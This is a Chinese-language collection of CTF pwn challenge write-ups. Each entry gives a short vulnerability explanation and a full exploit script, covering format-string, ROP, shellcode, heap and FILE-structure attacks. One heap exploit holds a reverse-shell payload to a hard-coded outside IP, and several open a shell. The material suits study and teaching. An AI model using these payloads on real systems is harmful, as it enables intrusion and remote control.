简介
有些题目很碎,直接搞一个合集吧,收录20
个题目,大部分都是buuctf
上面的,还有其他的题目。
hitcon_2018_hackergame_2018_calc
这道题主要的考点在于使用-0x80000000/-1
时也会触发异常。另外,有些软件和很多编程语言提供交互式的shell
,比如vi/vim/python/python3/python/nmap/irb/perl
。这里试了下,远程含有vim
。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
# trigger exception
sla(">>> ", "-2147483648/-1")
sla("Program crashed! You can run a program to examine:\n", 'vim')
sl(":!sh")
ia()
|
远程:
ciscn_2019_nw_6
一道关于snprintf
的格式化字符串的题,输入在堆上,可借助ebp
链完成利用。就当printf
做即可。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
libc: ELF = gift['libc']
if gift.remote:
libc = ELF("/home/roderick/glibc-all-in-one/buuctf_libc/x86/libc-2.27.so")
data = "roderick"+"%p,"*20
sla("please input the key:\n", data)
m = rl().split(b",")
log_ex(f"{m}")
stack_addr = int16_ex(m[7])
libc_addr = int16_ex(m[16])
target_addr = stack_addr + 4
libc_base = libc_addr - libc.sym['__libc_start_main'] - 241
libc.address = libc_base
log_address("stack_addr", stack_addr)
log_address("libc_addr", libc_addr)
log_libc_base_addr(libc_base)
data = "%{}c%24$hn".format(target_addr & 0xffff)
sla("please input the key:\n", data)
r()
data = "%{}c%61$hn".format(libc.sym.gets & 0xffff)
sla("please input the key:\n", data)
r()
data = "%{}c%24$hn".format((target_addr+2) & 0xffff)
sla("please input the key:\n", data)
r()
data = "%{}c%61$hn".format((libc.sym.gets >> 16) & 0xffff)
sla("please input the key:\n", data)
r()
target_addr += 8
data = "%{}c%24$hn".format((target_addr) & 0xffff)
sla("please input the key:\n", data)
r()
data = "%{}c%61$hn".format(stack_addr & 0xffff)
sla("please input the key:\n", data)
r()
sla("please input the key:\n", "hello")
r()
#
sl(b"a"*8+p32(stack_addr+0x20)+b"\x90"*0x30+ShellcodeMall.i386.cat_flag)
ia()
|
远程:
picoctf_2018_gps
ret2shellcode
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
m = rls("Current position:")
log_ex(f"get msg: {m}")
stack_addr = int16_ex(m[-14:])
log_address("stack_addr", stack_addr)
sla("What's your plan?\n> ", b"\x90"*0x800 + ShellcodeMall.amd64.cat_flag)
sla("Where do we start?\n> ", hex(stack_addr+0x400))
ia()
|
远程打:
rootersctf_2019_xsh
本质上是一个格式化字符串的题
漏洞点
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
sla("$ ", "echo xxx%p")
ru("xxx")
m = rl()
code_base = int16_ex(m) - 0x23ae
log_libc_base_addr(code_base)
elf.address = code_base
sla("$ ", b"echo xxx" + fmtstr_payload(offset=25, writes={elf.got.strncmp : elf.sym.system}, numbwritten=3, write_size="short", write_size_max="short"))
sla("$ ", "/bin/bash")
sl("cat flag")
ia()
|
远程打:
redhat_2019_three
观察执行shellcode
时的寄存器值,巧妙地利用xchg esp, ecx;ret
进行rop
。
漏洞点
可以写3
个字节的shellcode
。
那么可以在call eax
的时候断住看看寄存器状态:
ECX
正好是0x80f6cc0
,那么可以直接交换esp
和ecx
后进行rop
。
正好3
个字节,满足要求。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
sla("Give me a index:\n", "0")
sa("Three is good number,I like it very much!\n", "\x87\xcc\xc3")
sla("Leave you name of size:\n", str(0x200))
# ROPgadget --binary ./redhat_2019_three --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80
sa("Tell me:\n", p)
ia()
|
远程打:
zer0pts_2020_protrude
不得不说,这个gadget
:add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
确实是yyds
。
checksec
远程为libc-2.23.so
。
漏洞点
这里的rax
实际上小于8 * n
,所以会有栈溢出。当输入n=20
或者n=22
的时候,都会有溢出,恰好能溢出rbp
和ret
。
还有就是,循环变量在rbp-0x30
,rsp
在rbp-0x20
。也就是说,在输入数字的过程中,可以修改这两个变量。
利用思路
可以修改index
或者指针,也就可以让任意地址写任意值。
首先说思路一:改index
,越过canary
修改ret
。但是由于只能改到ret
,且程序没有循环,所以这里可以再一次执行_start
函数,两次修改除了canary
和指针地址外,其他值都刷为0
,那么利用两次的和可以计算出一个差值,这个差值就是一个栈地址。紧接着第三次执行main
函数,即可修改rbp
和ret
用栈迁移做rop
。
不过这个思路写起来麻烦,我也懒得算,所以我选择改指针。
思路二:需改指针为got
表上方地址,接着下一次修改printf@got
为pop rdi; ret
的地址,然后,你就会发现,之前输入的数可以直接拿来rop
。借助magic gadget
将atol@got
修改为system
,执行一次read_long
输入/bin/sh
即可拿到shell
。
简要分析一下思路二,在0x40090
地址处有一个call printf
,我们知道,call xxx
的本质是push ip; jmp xxx
。0x4008d5
有个mov rax, rsp
,可知,此时的rsp
就是我们输入第一个数的地址。所以,如果把printf@got
修改为pr
,那么就会把原来push
到栈上的地址弹到寄存器,然后将输入的第一个数作为地址进行跳转执行,也就可以rop
。当输入n=20
的时候,前面可以输入12
个数,用来rop
绰绰有余。
修改printf@got
:
执行call printf
:
修改atol@got
:
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
elf: ELF = gift['elf']
sla("n = ", "20")
# 0x00000000004007a8: add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
# 0x0000000000400a7a: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
pl = [
0x0000000000400a7a,
0xe4f0,
elf.got.atol+0x3d,
0, 0, 0, 0,
0x00000000004007a8,
elf.sym.read_long
]
for i in range(12-len(pl)):
pl.append(0)
for i in pl:
r()
sl(str(i))
r()
sl(str(0xd))
r()
sl(str(elf.got.printf - 8 * 0xf))
r()
sl(str(0x0000000000400a82)) # 0x0000000000400a82: pop r15; ret;
sl("/bin/bash")
sl("cat /flag")
ia()
|
远程打:
jarvisoj_xwork
静态链接程序,版本很低,方法很多。
checksec
漏洞点
double free
:
利用思路
版本很低,推测是2.23
,思路如下:
- 泄露堆地址
- 使用
fastbin attack
构造unsortedbin
,并执行unsortedbin attack
- 修改
top_chunk
指针指向数据段,修复unsortedbin list
- 利用类似
house of force
的思路,使得堆分配到数据段
- 修改指针,泄露栈地址
- 利用
leave;ret
迁移栈到数据段执行
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
def add(data="dedbeef"):
sla("5.Exit\n", "1")
s(data)
def show(idx):
sla("5.Exit\n", "2")
sla("Input the order index:", str(idx))
return rn(0x18)
def edit(idx, data):
sla("5.Exit\n", "3")
sla("Input the order index:", str(idx))
s(data)
def dele(idx):
sla("5.Exit\n", "4")
sla("Input the order index:", str(idx))
sla("What's your name:", "roderick")
for i in range(5):
add()
dele(1)
dele(0)
m = show(0)
heap_addr = u64_ex(m[:8])
log_address("heap_addr", heap_addr)
edit(0, p64(heap_addr-0x10)+p64(0)*2+p32(0x31))
add(p64(0)*3+p32(0x31))
add(p64(0)+p64(0x91))
# get unsorted bin chunk
dele(1)
# unsorted bin attack
edit(6, p64(0)+p64(0x31)+p64(0)+p32(0x6CCD60-0x10))
add()
edit(0, p64(0x6ccd60)+p64(0)+p64(0x6ca858)+p32(0x6ca858))
add(p64(0x6ccd60)+p64(0x6ccd60+0x40)+p64(0x6ccd60+0x20)+p32(0x6c9f80))
m = show(5)
stack_addr = u64_ex(m[:8])
log_address("stack_addr", stack_addr)
target_addr = stack_addr - 0x3a1 -8
if gift.remote:
target_addr = stack_addr - 0x349
edit(2, p64(target_addr) + b"/bin/sh\x00"+p64(0x00000000004789a6) + p32(0x3b))
edit(4, p64(0)+p64(0)+p64(0x00000000004019c7)+p32(0x6ccd98))
edit(7, p64(0) + p64(0x00000000004018a6)+p64(0x6ccd68)+p32(0x00000000004003da))
edit(0, p64(0x6ccd68) + p64(0x0000000000400a12))
sleep(0.3)
sl("cat /flag")
# mprotect sub_474D10
# 0x00000000004019c7: pop rsi; ret;
# 0x00000000004789a6: pop rax; pop rdx; pop rbx; ret;
# 0x00000000004018a6: pop rdi; ret;
# 0x00000000004003da: syscall;
# 0x6c9f80 stack addr
# 0x0000000000400a12: leave; ret;
ia()
|
远程打:
pwnable_loveletter
不得不说,pwnable
的题目都非常地因垂丝汀。
checksec
静态链接的程序。
漏洞点
出现protect
函数:
会将存在于输入字符串中的敏感字符替换为一个爱心。但是在替换的时候,字符串的长度会一直增大,且没有考虑到输入是储存在栈上的,因此,会造成栈溢出。
利用思路
尽管存在溢出,但是并不能直接利用。因为栈溢出需要绕过canary
,但是此处没有办法泄露出canary
的值。因此,直接rop
是很困难的。存在栈溢出的时候,可以观察还有哪些变量会被覆盖掉,以及被覆盖的变量有没有参与到后续的代码中。发现在
这三个长度都可以控制。由于最后的command
是一段一段拼接的,可以直接控制第一段,是一个echo xxx
。
那么,如何通过修改echo
去执行系统命令呢,答案就是可以只用e
这一个字母去拼凑命令。目前可以利用的命令至少有:env
和ed
1
2
3
4
5
|
# 使用env
env sh -c bash
# 使用ed
ed !
!sh
|
不难写出exp
。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
# get shell by
# p = "nv sh -c bash "
p = "d ! "
sa("is : ", p + ";" + "a"*(0x100-3-len(p))+"\x01\n")
sleep(4)
sl("!sh")
sleep(1)
sl("cat /flag")
ia()
|
远程打:
x_nuca_2018_revenge
这题难就难在找gadget
,拿shell
的姿势是真的风骚。
题目是静态链接,直接在数据段上溢出,可以覆盖到后面的数据。
思路和house of husk
类似,利用printf
的那几个函数指针table
完成利用。
思路:
首先控制rax
:
然后这里设为:xchg esp, eax ; ret
即可
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
name_addr = elf.sym.name
"""
__printf_va_arg_table 0x6d0
__printf_function_table 0x648
__printf_arginfo_table 0x6c8
__printf_modifier_table 0x650
"""
payload = flat({
0:[
0x435459, # pop rdx, pop rsi; ret
0,
0,
0x400525, # pop rdi; ret
0x6b73e0+0x100,
0x43364c, # pop rax; ret
0x3b,
0x400368 # syscall
],
0x100: "/bin/sh\x00",
0x390: [0x46d935] * 0x20,
0x650: 0,
0x6c8: 0x6b73e0,
elf.sym['_dl_scope_free_list']-0x6b73e0: 0x6b73e0,
elf.sym['_dl_wait_lookup_done']-0x6b73e0: 0x4a1a79 # xchg esp, eax; ret
})
sl(payload)
ia()
|
远程打:
csaw2018_shell_code
基础的shellcode
题。编写下面这段发送过去即可。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
payload = b"\x31\xff\x31\xc0\x31\xd2\xb6\xf0\x0f\x05\xff\xe6"
shellcode = disasm(payload)
print(shellcode)
sla("(15 bytes) Text for node 1: ", payload)
sla("(15 bytes) Text for node 2: ", payload)
ru("node.next: ")
m = rl()
stack_addr = int16_ex(m[:-1])
log_address_ex("stack_addr")
sla("What are your initials?", flat({
11:stack_addr+8
}))
sleep(2)
s(b"\x90"*0x100 + ShellcodeMall.amd64.execve_bin_sh)
ia()
|
远程打:
wdb_2018_4th_pwn2
checksec
libc-2.23.so
。
漏洞点
在0x2333
分支:
当打开的文件数量超过1024
的时候,会失败。这个时候会返回-1
,之后的read
函数不会执行,所以此时的buf
为\x00
。
利用思路
-
首先利用前面的递归函数,在栈上留下canary
的值。
-
泄露出canary
的值
-
打开1021
次/dev/urandom
,耗尽所有的文件句柄资源
-
再打开一次,猜测secret
为\x00
即可进入到栈溢出分支
-
栈溢出进行rop
泄露出flag
即可
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def vuln(data):
sla("option:", "1")
sa("once..\n", data)
def read_bss(data):
sla("option:", "2")
if isinstance(data, (list, tuple)):
ch = "n" * (len(data) - 1) + "y"
else:
ch = "y"
data = [data]
for d, c in zip(data, ch):
sa("bored...\n", d)
sa("y/n\n", c)
def secret(data):
sla("option:", "9011")
sa("code:", data)
# leak canary
read_bss(["deadbeef"] * 10)
vuln("a"*0xa9)
ru("a"*0xa8)
canary = ((u64_ex(rn(8))) >> 8) << 8
log_address_ex("canary")
pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
payload = flat({
0: "/flag\x00",
8: canary,
0x18:[
pop_rdi_ret, # pop rdi
0x602080,
pop_rsi_r15_ret, # pop rsi r15
0, 0,
elf.plt.open,
pop_rdi_ret, 0,
pop_rsi_r15_ret, 0x602180, 0,
elf.plt.read,
pop_rdi_ret,
0x602180,
elf.plt.puts
]
})
read_bss(payload)
for i in range(1021):
secret("\x00" * 8)
if i % 0x100 == 0:
log_ex(f"current fd: {i+3}")
secret("\x00" * 8)
ia()
|
远程打:
wdb_2018_final_pwn2
直接一个ret
即可绕过。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
# CurrentGadgets.set_find_area(find_in_elf, find_in_libc)
data = flat({
40: [
CurrentGadgets.ret(),
CurrentGadgets.pop_rdi_ret(),
CurrentGadgets.bin_sh(),
elf.plt.system
]
})
sla("> ", data)
sl("cat /flag")
ia()
|
wdb_2020_1st_boom2
是一个虚拟机,分析完流程即可。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
data = flat([
0x10,
0x19,
0x19,
0xd,
0xd,
0xd,
0x1,
0xe8,
0x1a,
0xd,
0x9,
0xd,
1, 0x2d78b,
0x19,
0xb
])
sla("> ", data)
ia()
|
远程打:
jarvisoj_http
非常简单的题,只要指定特定的User-Agent
,即可通过back
字段执行任意命令。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
data = "User-Agent: 2135GFTS\r\n"
data += "back: cat /flag\r\n"
data += "\r\n\r\n"
s(data)
ia()
|
Firehttpd
checksec
漏洞点
在server_file
有格式化字符串的漏洞
利用思路
- 泄露出栈地址
- 将文件路径的指针修改指向
www/../flag
即可
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
data = b"GET / \r\n"
data += b"Referer: %269$p\r\n"
data += b"\r\n"
s(data)
m = rls("Referer: ")
rbp_value = int16_ex(m[-15:])
log_address_ex("rbp_value")
targ_addr = rbp_value - 0x1120
rsi_value = rbp_value - 0x10f0
write_bytes= ((rsi_value >> 8) & 0xff) + 0x1
io.close()
ip = gift.ip
port = gift.port
io = remote(ip, port)
gift.io = io
data = b"GET / \r\n"
data += b"Referer: "+ f"%{write_bytes-9}c%15$hhn".ljust(23, "a").encode() + p64_ex(targ_addr+1) + cyclic(184)+b"www/../flag\x00"
data += b"\r\n\r\n"
s(data)
print(ra())
io.close()
|
pwnable_bookwriter
两种方法,围绕着top_chunk
做文章。
checksec
远程环境libc-2.23.so
。
漏洞点
在add
分支,溢出:
在edit
分支:
存在溢出修改下一个chunk
的size
域
利用思路
都写在exp
里面了
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def add(size, data, attack=False):
sla("Your choice :", "1")
sla("Size of page :", str(size))
if attack:
return
sa("Content :", data)
def view(idx):
sla("Your choice :", "2")
sla("Index of page :", str(idx))
ru("Content :\n")
m = rl()
return m
def edit(idx, data):
sla("Your choice :", "3")
sla("Index of page :", str(idx))
sa("Content:", data)
sla("Author :", flat({
0: [
0, 0x111, # fake chunk
0, 0x6020a0
]
}))
def exp1():
"""
1. 溢出修改top_chunk的size为很大的值,避免其扩容
2. 分配大的chunk,使得top_chunk的size为0x1yyy
3. 再次溢出,修改top_chunk的size为0xyyy,比原来少了0x1000
4. 分配大的chunk,使top_chunk被释放掉,得到unsortedbin chunk
5. 修改这个unsortedbin chunk的size为0x1zzz,这个大小需要覆盖新的top_chunk
6. 分配走这个unsortedbin chunk,此时可以泄露地址
7. 修改新的top_chunk的size,分配大chunk并再次得到一个unsortedbin chunk
8. 上一个chunk可以覆写此时的unsortedbin chunk
9. 伪造unsortedbin chunk链,任意地址分配
"""
add(0x18, "a"*0x18)
edit(0, "a"*0x18)
edit(0, b"a"*0x18 + p32(0x40fe1)[:3])
add(0x1fe00, "deadbeef")
add(0x18, "a"*0x18) # 2
edit(2, "a"*0x18)
edit(2, b"a"*0x18 + p32(0x1b1)[:3])
add(0x208, "deadbeef") # 3
add(0x18, "a"*8) # 4
m = view(4)
libc_base = u64_ex(m[8:-1]) - 0x3c4cf8
log_libc_base_addr(libc_base)
libc.address = libc_base
edit(4, "a"*0x18)
edit(4, b"a"*0x18 + p16(0x13f1))
edit(3, "a"*0x208)
edit(3, b"a"*0x208 + p32(0xdf1)[:3])
add(0x13e0, "deadbeef")
add(0x1000, "deadbeef") # 6
edit(5, flat({
0x1390: [
0, 0xdd1,
0, 0x602060
]
}))
add(0x100, flat({
0: "/bin/sh\x00",
0x30: libc.sym.__malloc_hook,
0x38: 0
})) # 7
edit(0, p64_ex(libc.sym.system))
add(str(0x602070), 0, 1)
ia()
def exp2():
"""
1. 溢出修改top_chunk,得到unsortedbin chunk
2. 分配满9个
3. 此时的book[0]的大小,恰好是第8个的地址,可以溢出写
4. 溢出修改unsortebin chunk链
5. 同exp1的方法获取shell
"""
add(0x18, "a"*0x18)
edit(0, "a"*0x18)
edit(0, b"a"*0x18 + p32(0xfe1)[:3])
add(0x1110, "deadbeef")
add(8, "a"*8)
m = view(2)
libc_base = u64_ex(m[8:-1]) - 0x3c5188
log_libc_base_addr(libc_base)
libc.address = libc_base
edit(0, "\x00")
for i in range(6):
add(0x10, "deadbeef")
edit(0, flat_z({
0xf0: [
0, 0xee1,
0, 0x602060
]
}))
add(0x100, flat({
0: "/bin/sh\x00",
0x30: libc.sym.__malloc_hook,
0x38: 0
})) # 7
edit(0, p64_ex(libc.sym.system))
add(str(0x602070), 0, 1)
ia()
exp2()
|
inndy_echo3
checksec
远程为libc-2.23.so
漏洞点
格式化字符串漏洞:
但是在这之前,栈的变化有随机性:
当栈上存在很多地址的时候更好利用,所以这里根据一些特征去爆破一下。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
s("%14$p,%17$s,%43$p")
stack_data, libc_data, start_main_data = r().split(b",")
stack_addr = int16_ex(stack_data)
libc_addr = u32_ex(libc_data[0xc:0x10])
start_main_addr = int16_ex(start_main_data)
log_address_ex("stack_addr")
log_address_ex("libc_addr")
log_address_ex("start_main_addr")
assert hex(start_main_addr).endswith('637'), "try again!"
set_current_libc_base_and_log(libc_addr, 'setbuf')
s("%{}c%49$hn%4c%50$hndeadbeef\x00".format((stack_addr + 0x40) & 0xffff))
ru("deadbeef")
s("%20c%85$hhn%2c%87$hhndeadbeef\x00")
ru("deadbeef")
hi = libc.sym.system >> 16
lo = libc.sym.system & 0xffff
if lo > hi:
s("%{}c%21$hn%{}c%20$hndeadbeef\x00".format(hi, lo - hi))
else:
s("%{}c%20$hn%{}c%21$hndeadbeef\x00".format(lo, hi - lo))
ru("deadbeef")
s("/bin/bash\x00")
ia()
|
hack_lu_2018_heap_hell
checksec
远程libc-2.23.so
。
漏洞点
在读取输入的时候,可以溢出:
利用思路
- 伪造一个
unsorted bin chunk
,释放掉
- 泄露出
libc
地址
- 负数溢出,写
_IO_2_1_stdout_
结构体,伪造vtable
,执行任意命令
- 关闭
socket
即可以使fread
返回为0
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def write_heap(off, data, size=None):
if size is None:
size = len(data)
sla("[4] : exit\n", "1")
sla("How much do you want to write?\n", str(size))
sla("At which offset?\n", str(off))
s(data)
def free_heap(off):
sla("[4] : exit\n", "2")
sla("At which offset do you want to free?\n", str(off))
def view_heap(off):
sla("[4] : exit\n", "3")
sla("At which offset do you want to leak?\n", str(off))
return rl()
mmap_addr = 0x10000
rls("Allocating your scratch pad")
sl(str(mmap_addr))
# leak addr
write_heap(0, flat_z({
0: [0, 0x111],
0x110: [
0, 0x21,
0, 0
] * 3
}))
free_heap(0x10)
m = view_heap(0x10)
libc_base = set_current_libc_base_and_log(u64_ex(m[:-1]), 0x3c4b78)
file_str = FileStructure()
file_str.vtable = libc.sym["_IO_2_1_stdout_"] + 0x10 + 0x20
file_str.chain = libc.sym['system']
file_str._lock = libc_base + 0x3c6780 # 这里指定一个lock地址即可
# 反弹shell可以成功
payload = b"/bin/bash -c \"bash -i > /dev/tcp/120.25.122.195/10001 0>&1 2>&1\"\x00".ljust(0x48, b"\x00")
payload += bytes(file_str)[0x48:]
write_heap(off=libc.sym._IO_2_1_stdout_ - mmap_addr, data=payload, size=mmap_addr + 0x10000 + 1)
io.shutdown("send")
ia()
|
反弹shell
可以,直接cat flag
没有输出,猜测和pwntools
有关。
suctf_2019_old_pc
32
位的unlink
,做得有点不习惯。记录下exp
:
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from re import M
from click import command
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
if gift.remote:
libc: ELF = ELF("./libc-2.23.so")
gift.libc = libc
def purchase(size, data="deadbeef"):
sla(">>> ", "1")
sla("Name length: ", str(size))
sla("Name: ", data)
sla("Price: ", "19971998")
m = rls("Now Computer")
log_ex(f"Get msg: {m}")
return m
def comment(idx, comm):
sla(">>> ", "2")
sla("Index: ", str(idx))
m = ru(" : ")
log_ex(f"Get msg: {m}")
s(comm)
sla("And its score: ", "19971998")
return m
def throw(idx):
sla(">>> ", "3")
sla("WHICH IS THE RUBBISH PC? Give me your index: ", str(idx))
m = rls("Comment")
log_ex(f"Get msg: {m}")
return m
def rename(idx, name=None, addr=0):
sla(">>> ", "4")
sla("Give me an index: ", str(idx))
if name:
s(name)
sla("Wanna get more power?(y/n)", "y")
sla("Give me serial: ", "e4SyD1C!")
sla("Hey Pwner\n", p32(addr))
purchase(0x8c)
purchase(0x8c)
throw(0)
comment(1, "a"*4)
m = throw(1)
if gift.debug:
offset = 0x1b27b0
else:
offset = 0x1b27b0-0x2000
libc_base = set_current_libc_base_and_log(u32_ex(m[0xc:0x10]), offset)
purchase(0x10) # 0
purchase(0x70) # 1
throw(0)
purchase(0xc) # 0
purchase(0xf8) # 2
purchase(0x10) # 3
throw(0)
purchase(0xc, b"a"*8+p32(0xa0)) # 0
throw(1)
# unlink
throw(2)
purchase(0xa0, flat({
0x70: [
0, 0x18,
0, offset + libc_base,
0, 0,
0, 0x11
]
})) # 1
m = comment(0, "comment")
heap_base = u32_ex(m[11:15]) - 0x230
log_heap_base_addr(heap_base)
throw(1)
purchase(0xa0, flat({
0x70: [
0, 0x18,
0, heap_base+8,
heap_base + 0xf0,
libc.sym.__free_hook, "/bin/sh\x00"
]
})) # 1
rename(0, p32_ex(heap_base + 0xe8), libc.sym.system)
ia()
|
这里还借助了angr
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
